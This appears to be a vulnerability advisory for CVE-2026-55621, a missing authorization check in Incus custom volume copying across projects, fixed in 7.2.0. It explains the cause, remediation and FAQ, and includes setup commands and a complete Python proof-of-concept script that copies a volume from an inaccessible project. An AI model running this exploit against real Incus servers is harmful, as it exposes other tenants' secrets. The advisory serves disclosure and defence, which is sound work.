CVE-2026-55621: Incus has a project restriction bypass for custom volume copy across projects
Summary
Missing authorization checks exist for custom volume copying where an attacker who knows the name of a project that they don't have access to and the name of a custom volume in that project can copy the custom volume to a new project. This issue could allow an attacker to access secrets in custom volumes they are not authorized to access.
Details
The storage volume creation handler authorizes creation in the target project, then passes req.Source.Project into the custom-volume copy path without checking that the caller can view the source volume. req.Source.Project is the attacker-controlled field. It is resolved to a storage volume project name and passed directly to CreateCustomVolumeFromCopy. No allowPermission or entitlement check (e.g. CanView on the source volume) is performed.
The copy must occur on the same server. However, once the copy has been done, nothing prevents a malicious actor from moving the volume to another server.
PoC Setup
Assume the target server is remotely accessible and a user/certificate has been added.
create a new project and instance incus project create secrets incus profile show default | incus --project secrets edit default incus --project secrets storage volume create default secret-vol
restrict an existing certificate to prevent access to the project incus config trust edit cert-fp #> set, for example restricted: true projects: - default
verification, with the restricted certificate incus --project secrets storage volume ls remote:default
Exploitation
The below script was partly generated. To copy the secret instance to the default project, the following command can be used.
python3 poc.py --url https://IP-REMOTE:8443 \ --cert path/to/client.crt --key path/to/client.key \ --target-project default --source-project secrets \ --source-volume secret-vol --name copy-secret-vol \ --pool default --source-pool default \ --insecure
Wait a bit for the custom volume to be copied, then incus storage volume ls remote:default to see the copied instance.
#!/usr/bin/env python3 """Copy a custom storage volume from another project into an allowed project."""
from future import annotations
import argparse import json import ssl import sys import urllib.error import urllib.parse import urllib.request
def post(url: str, path: str, body: dict, cert: str, key: str, insecure: bool) -> bytes: ctx = ssl.createdefaultcontext() if insecure: ctx.checkhostname = False ctx.verifymode = ssl.CERTNONE ctx.loadcertchain(cert, key) req = urllib.request.Request( url.rstrip("/") + path, data=json.dumps(body).encode(), method="POST", headers={"Content-Type": "application/json", "Accept": "application/json"}, ) try: with urllib.request.urlopen(req, context=ctx) as resp: return resp.read() except urllib.error.HTTPError as exc: sys.stderr.write(exc.read().decode(errors="replace") + "\n") raise
def main() -> int: ap = argparse.ArgumentParser() ap.addargument("--url", required=True) ap.addargument("--cert", required=True) ap.addargument("--key", required=True) ap.addargument("--pool", required=True) ap.addargument("--target-project", required=True) ap.addargument("--source-project", required=True) ap.addargument("--source-volume", required=True) ap.addargument("--source-pool") ap.addargument("--name", required=True, help="new volume name in target project") ap.addargument("--content-type", default="filesystem", choices=["filesystem", "block"]) ap.addargument("--volume-only", action="storetrue") ap.addargument("--insecure", action="storetrue") ap.addargument("--dry-run", action="storetrue") args = ap.parseargs()
source = { "type": "copy", "name": args.sourcevolume, "project": args.sourceproject, "volumeonly": args.volumeonly, } if args.sourcepool: source["pool"] = args.sourcepool
body = { "name": args.name, "type": "custom", "contenttype": args.contenttype, "source": source, } path = "/1.0/storage-pools/{}/volumes/custom?{}".format( urllib.parse.quote(args.pool, safe=""), urllib.parse.urlencode({"project": args.targetproject}), ) print(json.dumps(body, indent=2)) if args.dryrun: return 0 print(post(args.url, path, body, args.cert, args.key, args.insecure).decode(errors="replace")) return 0
if name == "main": raise SystemExit(main())
Impact
An attacker can copy instances they don't normally have access to, possibly leading to information disclosure.
Other sources
Incus is a system container and virtual machine manager. Prior to version 7.2.0, missing authorization checks exist for custom volume copying where an attacker knowing the name of a project that they don't have access to and the name of a custom volume in that project can copy the custom volume to a new project. This issue could allow an attacker to access secrets in custom volumes they are not authorized to access. Version 7.2.0 patches the issue.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
go/github.com/lxc/incus/v7to a version that resolves this vulnerability.Fixed in 7.2.0 - Upgrade
Upgrade to a fixed release to a version that resolves this vulnerability.
Fixed in 7.2.0 - Operational
If a malicious copy occurred before upgrading, review the target project for any newly copied custom volumes (e.g., list volumes and inspect) and remediate any unauthorized data exposure.
Event History
Frequently Asked Questions
Who can exploit this issue?
An attacker needs privileges to perform custom volume copying, plus knowledge of both a project name they cannot access and a custom volume name within that project. The issue is remotely reachable and requires no user interaction.
What information could be exposed?
An attacker can copy a custom volume from an unauthorized project into a new project, potentially gaining access to secrets stored in that volume. The provided information describes confidentiality impact, not integrity or availability impact.
Are deployments affected by default?
The issue affects Incus versions before 7.2.0 where custom volumes are used across projects. Exploitation specifically depends on an attacker being able to invoke custom volume copy operations and knowing the target project and volume names.
What should teams do if they cannot immediately upgrade?
Restrict custom volume copy permissions to trusted users and avoid allowing them to copy volumes across projects. Limit exposure of project and custom-volume names, since those names are required for exploitation.
How can I tell whether I am affected?
Instances running Incus before version 7.2.0 are affected. Review whether untrusted or lower-privileged users can copy custom volumes and whether sensitive data is stored in custom volumes in projects those users should not access.